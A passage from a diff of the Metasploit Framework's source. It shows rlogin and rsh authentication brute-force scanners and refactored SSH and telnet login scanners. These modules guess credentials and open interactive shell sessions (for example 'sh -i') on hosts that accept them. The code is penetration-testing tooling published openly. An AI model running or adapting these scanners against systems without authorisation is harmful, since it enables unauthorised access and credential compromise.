||||||
|
OptString.new('TERM', [ true, 'The terminal type desired', 'vt100' ]),
|
||||||
|
OptString.new('SPEED', [ true, 'The terminal speed desired', '9600' ])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
print_status("#{ip}:#{rport} - Starting rlogin sweep")
|
||||||
|
|
||||||
|
luser = datastore['LOCALUSER']
|
||||||
|
luser ||= 'root'
|
||||||
|
|
||||||
|
begin
|
||||||
|
each_user_pass { |user, pass|
|
||||||
|
try_user_pass(user, pass, luser)
|
||||||
|
}
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def try_user_pass(user, pass, luser)
|
||||||
|
vprint_status "#{rhost}:#{rport} rlogin - Attempting: '#{user}':'#{pass}' from '#{luser}'"
|
||||||
|
this_attempt ||= 0
|
||||||
|
ret = nil
|
||||||
|
while this_attempt <= 3 and (ret.nil? or ret == :refused)
|
||||||
|
if this_attempt > 0
|
||||||
|
select(nil,nil,nil, 2**this_attempt)
|
||||||
|
vprint_error "#{rhost}:#{rport} rlogin - Retrying '#{user}':'#{pass}' from '#{luser}' due to reset"
|
||||||
|
end
|
||||||
|
ret = do_login(user, pass, luser)
|
||||||
|
this_attempt += 1
|
||||||
|
end
|
||||||
|
|
||||||
|
case ret
|
||||||
|
when :no_auth_required
|
||||||
|
print_good "#{rhost}:#{rport} rlogin - No authentication required!"
|
||||||
|
return :abort
|
||||||
|
|
||||||
|
when :no_pass_prompt
|
||||||
|
vprint_status "#{rhost}:#{rport} rlogin - Skipping '#{user}' due to missing password prompt"
|
||||||
|
return :skip_user
|
||||||
|
|
||||||
|
when :timeout
|
||||||
|
vprint_status "#{rhost}:#{rport} rlogin - Skipping '#{user}':'#{pass}' from '#{luser}' due to timeout"
|
||||||
|
|
||||||
|
when :busy
|
||||||
|
vprint_error "#{rhost}:#{rport} rlogin - Skipping '#{user}':'#{pass}' from '#{luser}' due to busy state"
|
||||||
|
|
||||||
|
when :refused
|
||||||
|
vprint_error "#{rhost}:#{rport} rlogin - Skipping '#{user}':'#{pass}' from '#{luser}' due to connection refused."
|
||||||
|
|
||||||
|
when :skip_user
|
||||||
|
vprint_status "#{rhost}:#{rport} rlogin - Skipping disallowed user '#{user}' for subsequent requests"
|
||||||
|
return :skip_user
|
||||||
|
|
||||||
|
when :success
|
||||||
|
# session created inside do_login, ignore
|
||||||
|
return :next_user
|
||||||
|
|
||||||
|
else
|
||||||
|
if login_succeeded?
|
||||||
|
start_rlogin_session(rhost, rport, user, luser, pass, @trace)
|
||||||
|
return :next_user
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Sometimes telnet servers start RSTing if you get them angry.
|
||||||
|
# This is a short term fix; the problem is that we don't know
|
||||||
|
# if it's going to reset forever, or just this time, or randomly.
|
||||||
|
# A better solution is to get the socket connect to try again
|
||||||
|
# with a little backoff.
|
||||||
|
def connect_reset_safe
|
||||||
|
begin
|
||||||
|
# We must connect from a privileged port.
|
||||||
|
connect_from_privileged_port
|
||||||
|
rescue Rex::ConnectionRefused
|
||||||
|
return :refused
|
||||||
|
end
|
||||||
|
return :connected
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def do_login(user, pass, luser)
|
||||||
|
return :refused if connect_reset_safe == :refused
|
||||||
|
|
||||||
|
sock.put("\x00#{luser}\x00#{user}\x00#{datastore['TERM']}/#{datastore['SPEED']}\x00")
|
||||||
|
|
||||||
|
# Read the expected nul byte response.
|
||||||
|
buf = sock.get_once(1)
|
||||||
|
return :abort if buf != "\x00"
|
||||||
|
|
||||||
|
# NOTE: We report this here, since we are awfully convinced now that this is really
|
||||||
|
# an rlogin service.
|
||||||
|
report_service(
|
||||||
|
:host => rhost,
|
||||||
|
:port => rport,
|
||||||
|
:proto => 'tcp',
|
||||||
|
:name => 'rlogin'
|
||||||
|
)
|
||||||
|
|
||||||
|
# Receive the initial response
|
||||||
|
Timeout.timeout(10) do
|
||||||
|
recv
|
||||||
|
end
|
||||||
|
|
||||||
|
if busy_message?
|
||||||
|
self.sock.close unless self.sock.closed?
|
||||||
|
return :busy
|
||||||
|
end
|
||||||
|
|
||||||
|
# If we're not trusted, we should get a password prompt. Otherwise, we might be in already :)
|
||||||
|
if login_succeeded?
|
||||||
|
# should we report a vuln here? rlogin allowed w/o password?!
|
||||||
|
print_good("#{target_host}:#{rport}, rlogin '#{user}' from '#{luser}' with no password.")
|
||||||
|
start_rlogin_session(rhost, rport, user, luser, pass, @trace)
|
||||||
|
return :success
|
||||||
|
end
|
||||||
|
|
||||||
|
recvd_sample = @recvd.dup
|
||||||
|
# Allow for slow echos
|
||||||
|
1.upto(10) do
|
||||||
|
recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/]
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
||||||
|
|
||||||
|
# Not successful yet, maybe we got a password prompt.
|
||||||
|
if password_prompt?
|
||||||
|
send_pass(pass)
|
||||||
|
|
||||||
|
# Allow for slow echos
|
||||||
|
1.upto(10) do
|
||||||
|
recv_telnet(self.sock, 0.10) if @recvd == recvd_sample
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_status("#{rhost}:#{rport} Result: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
||||||
|
|
||||||
|
if login_succeeded?
|
||||||
|
print_good("#{target_host}:#{rport}, rlogin '#{user}' : '#{pass}' from '#{luser}'")
|
||||||
|
start_rlogin_session(rhost, rport, user, luser, pass, @trace)
|
||||||
|
return :success
|
||||||
|
else
|
||||||
|
return :fail
|
||||||
|
end
|
||||||
|
else
|
||||||
|
if login_succeeded? && @recvd !~ /^#{user}\x0d*\x0a/
|
||||||
|
return :success
|
||||||
|
else
|
||||||
|
self.sock.close unless self.sock.closed?
|
||||||
|
return :no_pass_prompt
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# For debugging only.
|
||||||
|
#rescue ::Exception
|
||||||
|
# print_error("#{$!}")
|
||||||
|
|
||||||
|
ensure
|
||||||
|
disconnect()
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def start_rlogin_session(host, port, user, luser, pass, proof)
|
||||||
|
|
||||||
|
report_auth_info(
|
||||||
|
:host => host,
|
||||||
|
:port => port,
|
||||||
|
:sname => 'rlogin',
|
||||||
|
:user => user,
|
||||||
|
:pass => pass,
|
||||||
|
:luser => luser,
|
||||||
|
:proof => proof,
|
||||||
|
:active => true
|
||||||
|
)
|
||||||
|
|
||||||
|
merge_me = {
|
||||||
|
'USERPASS_FILE' => nil,
|
||||||
|
'USER_FILE' => nil,
|
||||||
|
'PASS_FILE' => nil,
|
||||||
|
'USERNAME' => user,
|
||||||
|
'LOCALUSER' => luser,
|
||||||
|
'PASSWORD' => pass
|
||||||
|
}
|
||||||
|
|
||||||
|
start_session(self, "RLOGIN #{user}:#{pass} (#{host}:#{port})", merge_me)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,185 @@
|
||||||
|
##
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Msf::Exploit::RServices
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::AuthBrute
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
include Msf::Auxiliary::CommandShell
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'rsh Authentication Scanner',
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will test a shell (rsh) service on a range of machines and
|
||||||
|
report successful logins.
|
||||||
|
|
||||||
|
NOTE: This module requires access to bind to privileged ports (below 1024).
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '1999-0651' ]
|
||||||
|
],
|
||||||
|
'Author' => [ 'jduck '],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(514),
|
||||||
|
OptBool.new('ENABLE_STDERR', [ true, 'Enables connecting the stderr port', false ])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
print_status("#{ip}:#{rport} - Starting rsh sweep")
|
||||||
|
|
||||||
|
if datastore['ENABLE_STDERR']
|
||||||
|
# For each host, bind a privileged listening port for the target to connect
|
||||||
|
# back to.
|
||||||
|
ret = listen_on_privileged_port
|
||||||
|
if not ret
|
||||||
|
return :abort
|
||||||
|
end
|
||||||
|
sd, lport = ret
|
||||||
|
else
|
||||||
|
sd = lport = nil
|
||||||
|
end
|
||||||
|
|
||||||
|
# The maximum time for a host is set here.
|
||||||
|
Timeout.timeout(300) {
|
||||||
|
each_user_pass { |user, pass|
|
||||||
|
do_login(user, pass, sd, lport)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sd.close if sd
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def do_login(user, pass, sfd, lport)
|
||||||
|
vprint_status("#{target_host}:#{rport} - Attempting rsh with username:password '#{user}':'#{pass}'")
|
||||||
|
|
||||||
|
cmd = datastore['CMD']
|
||||||
|
cmd ||= 'sh -i 2>&1'
|
||||||
|
luser = datastore['LOCALUSER']
|
||||||
|
luser ||= 'root'
|
||||||
|
|
||||||
|
# We must connect from a privileged port.
|
||||||
|
return :abort if not connect_from_privileged_port(1022)
|
||||||
|
|
||||||
|
sock.put("#{lport}\x00#{luser}\x00#{user}\x00#{cmd}\x00")
|
||||||
|
|
||||||
|
if sfd and lport
|
||||||
|
stderr_sock = sfd.accept
|
||||||
|
add_socket(stderr_sock)
|
||||||
|
else
|
||||||
|
stderr_sock = nil
|
||||||
|
end
|
||||||
|
|
||||||
|
# Read the expected nul byte response.
|
||||||
|
buf = sock.get_once(1)
|
||||||
|
return :abort if buf != "\x00"
|
||||||
|
|
||||||
|
# NOTE: We report this here, since we are awfully convinced now that this is really
|
||||||
|
# an rsh service.
|
||||||
|
report_service(
|
||||||
|
:host => rhost,
|
||||||
|
:port => rport,
|
||||||
|
:proto => 'tcp',
|
||||||
|
:name => 'rsh'
|
||||||
|
)
|
||||||
|
|
||||||
|
# should we report a vuln here? rsh allowed w/o password?!
|
||||||
|
print_good("#{target_host}:#{rport}, rsh '#{user}' from '#{luser}' with no password.")
|
||||||
|
start_rsh_session(rhost, rport, user, luser, pass, buf, stderr_sock)
|
||||||
|
|
||||||
|
return :next_user
|
||||||
|
|
||||||
|
# For debugging only.
|
||||||
|
#rescue ::Exception
|
||||||
|
# print_error("#{$!}")
|
||||||
|
# return :abort
|
||||||
|
|
||||||
|
ensure
|
||||||
|
disconnect()
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# This is only needed by RSH so it is not in the rservices mixin
|
||||||
|
#
|
||||||
|
def listen_on_privileged_port
|
||||||
|
lport = 1023
|
||||||
|
sd = nil
|
||||||
|
while lport > 512
|
||||||
|
#vprint_status("Trying to listen on port #{lport} ..")
|
||||||
|
sd = nil
|
||||||
|
begin
|
||||||
|
sd = Rex::Socket.create_tcp_server('LocalPort' => lport)
|
||||||
|
|
||||||
|
rescue Rex::AddressInUse
|
||||||
|
# Ignore and try again
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
break if sd
|
||||||
|
lport -= 1
|
||||||
|
end
|
||||||
|
|
||||||
|
if not sd
|
||||||
|
print_error("Unable to bind to listener port")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
add_socket(sd)
|
||||||
|
#print_status("Listening on port #{lport}")
|
||||||
|
[ sd, lport ]
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def start_rsh_session(host, port, user, luser, pass, proof, stderr_sock)
|
||||||
|
report_auth_info(
|
||||||
|
:host => host,
|
||||||
|
:port => port,
|
||||||
|
:sname => 'rsh',
|
||||||
|
:user => user,
|
||||||
|
:luser => luser,
|
||||||
|
:pass => pass,
|
||||||
|
:proof => proof,
|
||||||
|
:active => true
|
||||||
|
)
|
||||||
|
|
||||||
|
merge_me = {
|
||||||
|
'USERPASS_FILE' => nil,
|
||||||
|
'USER_FILE' => nil,
|
||||||
|
'PASS_FILE' => nil,
|
||||||
|
'USERNAME' => user,
|
||||||
|
'LOCALUSER' => luser,
|
||||||
|
'PASSWORD' => pass,
|
||||||
|
# Save a reference to the socket so we don't GC prematurely
|
||||||
|
:stderr_sock => stderr_sock
|
||||||
|
}
|
||||||
|
|
||||||
|
# Don't tie the life of this socket to the exploit
|
||||||
|
self.sockets.delete(stderr_sock)
|
||||||
|
|
||||||
|
start_session(self, "RSH #{user}:#{pass} (#{host}:#{port})", merge_me)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -11,15 +11,13 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'net/ssh'
|
require 'net/ssh'
|
||||||
require 'msf/base/sessions/command_shell_options'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
include Msf::Auxiliary::Scanner
|
include Msf::Auxiliary::Scanner
|
||||||
include Msf::Auxiliary::AuthBrute
|
include Msf::Auxiliary::AuthBrute
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::CommandShell
|
||||||
include Msf::Sessions::CommandShellOptions
|
|
||||||
|
|
||||||
attr_accessor :ssh_socket, :good_credentials
|
attr_accessor :ssh_socket, :good_credentials
|
||||||
|
|
||||||
|
@ -98,19 +96,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
# Create a new session
|
# Create a new session
|
||||||
conn = Net::SSH::CommandStream.new(self.ssh_socket, '/bin/sh', true)
|
conn = Net::SSH::CommandStream.new(self.ssh_socket, '/bin/sh', true)
|
||||||
sess = Msf::Sessions::CommandShell.new(conn.lsock)
|
|
||||||
sess.set_from_exploit(self)
|
|
||||||
sess.info = "SSH #{user}:#{pass} (#{ip}:#{port})"
|
|
||||||
|
|
||||||
# Clean up the stored data
|
merge_me = {
|
||||||
sess.exploit_datastore['USERPASS_FILE'] = nil
|
'USERPASS_FILE' => nil,
|
||||||
sess.exploit_datastore['USER_FILE'] = nil
|
'USER_FILE' => nil,
|
||||||
sess.exploit_datastore['PASS_FILE'] = nil
|
'PASS_FILE' => nil,
|
||||||
sess.exploit_datastore['USERNAME'] = user
|
'USERNAME' => user,
|
||||||
sess.exploit_datastore['PASSWORD'] = pass
|
'PASSWORD' => pass
|
||||||
|
}
|
||||||
framework.sessions.register(sess)
|
start_session(self, "SSH #{user}:#{pass} (#{ip}:#{port})", merge_me, false, conn.lsock)
|
||||||
sess.process_autoruns(datastore)
|
|
||||||
|
|
||||||
return [:success, proof]
|
return [:success, proof]
|
||||||
else
|
else
|
||||||
|
|
|
@ -11,15 +11,13 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'net/ssh'
|
require 'net/ssh'
|
||||||
require 'msf/base/sessions/command_shell_options'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
include Msf::Auxiliary::Scanner
|
include Msf::Auxiliary::Scanner
|
||||||
include Msf::Auxiliary::AuthBrute
|
include Msf::Auxiliary::AuthBrute
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::CommandShell
|
||||||
include Msf::Sessions::CommandShellOptions
|
|
||||||
|
|
||||||
attr_accessor :ssh_socket, :good_credentials, :good_key
|
attr_accessor :ssh_socket, :good_credentials, :good_key
|
||||||
|
|
||||||
|
@ -212,24 +210,24 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
# Create a new session
|
# Create a new session
|
||||||
conn = Net::SSH::CommandStream.new(self.ssh_socket, '/bin/sh', true)
|
conn = Net::SSH::CommandStream.new(self.ssh_socket, '/bin/sh', true)
|
||||||
sess = Msf::Sessions::CommandShell.new(conn.lsock)
|
|
||||||
sess.set_from_exploit(self)
|
|
||||||
sess.info = "SSH #{user}:#{self.good_key} (#{ip}:#{port})"
|
|
||||||
|
|
||||||
# Clean up the stored data - need to stash the keyfile into
|
# Clean up the stored data - need to stash the keyfile into
|
||||||
# a datastore for later reuse.
|
# a datastore for later reuse.
|
||||||
|
merge_me = {
|
||||||
|
'USERPASS_FILE' => nil,
|
||||||
|
'USER_FILE' => nil,
|
||||||
|
'PASS_FILE' => nil,
|
||||||
|
'USERNAME' => user
|
||||||
|
}
|
||||||
if datastore['KEY_FILE'] and !datastore['KEY_FILE'].empty?
|
if datastore['KEY_FILE'] and !datastore['KEY_FILE'].empty?
|
||||||
keyfile = File.open(datastore['KEY_FILE'], "rb") {|f| f.read(f.stat.size)}
|
keyfile = File.open(datastore['KEY_FILE'], "rb") {|f| f.read(f.stat.size)}
|
||||||
sess.exploit_datastore['SSH_KEYFILE_B64'] = [keyfile].pack("m*").gsub("\n","")
|
merge_me.merge!(
|
||||||
sess.exploit_datastore['KEY_FILE'] = nil
|
'SSH_KEYFILE_B64' => [keyfile].pack("m*").gsub("\n",""),
|
||||||
|
'KEY_FILE' => nil
|
||||||
|
)
|
||||||
end
|
end
|
||||||
sess.exploit_datastore['USERPASS_FILE'] = nil
|
|
||||||
sess.exploit_datastore['USER_FILE'] = nil
|
|
||||||
sess.exploit_datastore['PASS_FILE'] = nil
|
|
||||||
sess.exploit_datastore['USERNAME'] = user
|
|
||||||
|
|
||||||
framework.sessions.register(sess)
|
start_session(self, "SSH #{user}:#{self.good_key} (#{ip}:#{port})", merge_me, false, conn.lsock)
|
||||||
sess.process_autoruns(datastore)
|
|
||||||
|
|
||||||
return [:success, proof]
|
return [:success, proof]
|
||||||
else
|
else
|
||||||
|
|
|
@ -10,27 +10,14 @@
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/base/sessions/command_shell_options'
|
|
||||||
|
|
||||||
#
|
|
||||||
# Ghetto
|
|
||||||
#
|
|
||||||
module CRLFLineEndings
|
|
||||||
def put(str)
|
|
||||||
return super if not str
|
|
||||||
super(str.strip + "\r\n")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
include Msf::Exploit::Remote::Telnet
|
include Msf::Exploit::Remote::Telnet
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Msf::Auxiliary::AuthBrute
|
include Msf::Auxiliary::AuthBrute
|
||||||
|
|
||||||
include Msf::Auxiliary::Scanner
|
include Msf::Auxiliary::Scanner
|
||||||
|
include Msf::Auxiliary::CommandShell
|
||||||
include Msf::Sessions::CommandShellOptions
|
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
super(
|
super(
|
||||||
|
@ -237,26 +224,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def start_telnet_session(host, port, user, pass)
|
def start_telnet_session(host, port, user, pass)
|
||||||
# Windows telnet server requires \r\n line endings and it doesn't
|
merge_me = {
|
||||||
# seem to affect anything else.
|
'USERPASS_FILE' => nil,
|
||||||
sock.extend(CRLFLineEndings)
|
'USER_FILE' => nil,
|
||||||
sess = Msf::Sessions::CommandShell.new(sock)
|
'PASS_FILE' => nil,
|
||||||
sess.set_from_exploit(self)
|
'USERNAME' => user,
|
||||||
sess.info = "TELNET #{user}:#{pass} (#{host}:#{port})"
|
'PASSWORD' => pass
|
||||||
|
}
|
||||||
|
|
||||||
# Clean up the stored data
|
start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true)
|
||||||
sess.exploit_datastore['USERPASS_FILE'] = nil
|
|
||||||
sess.exploit_datastore['USER_FILE'] = nil
|
|
||||||
sess.exploit_datastore['PASS_FILE'] = nil
|
|
||||||
sess.exploit_datastore['USERNAME'] = user
|
|
||||||
sess.exploit_datastore['PASSWORD'] = pass
|
|
||||||
|
|
||||||
# Prevent the socket from being closed
|
|
||||||
self.sockets.delete(self.sock)
|
|
||||||
self.sock = nil
|
|
||||||
|
|
||||||
framework.sessions.register(sess)
|
|
||||||
sess.process_autoruns(datastore)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue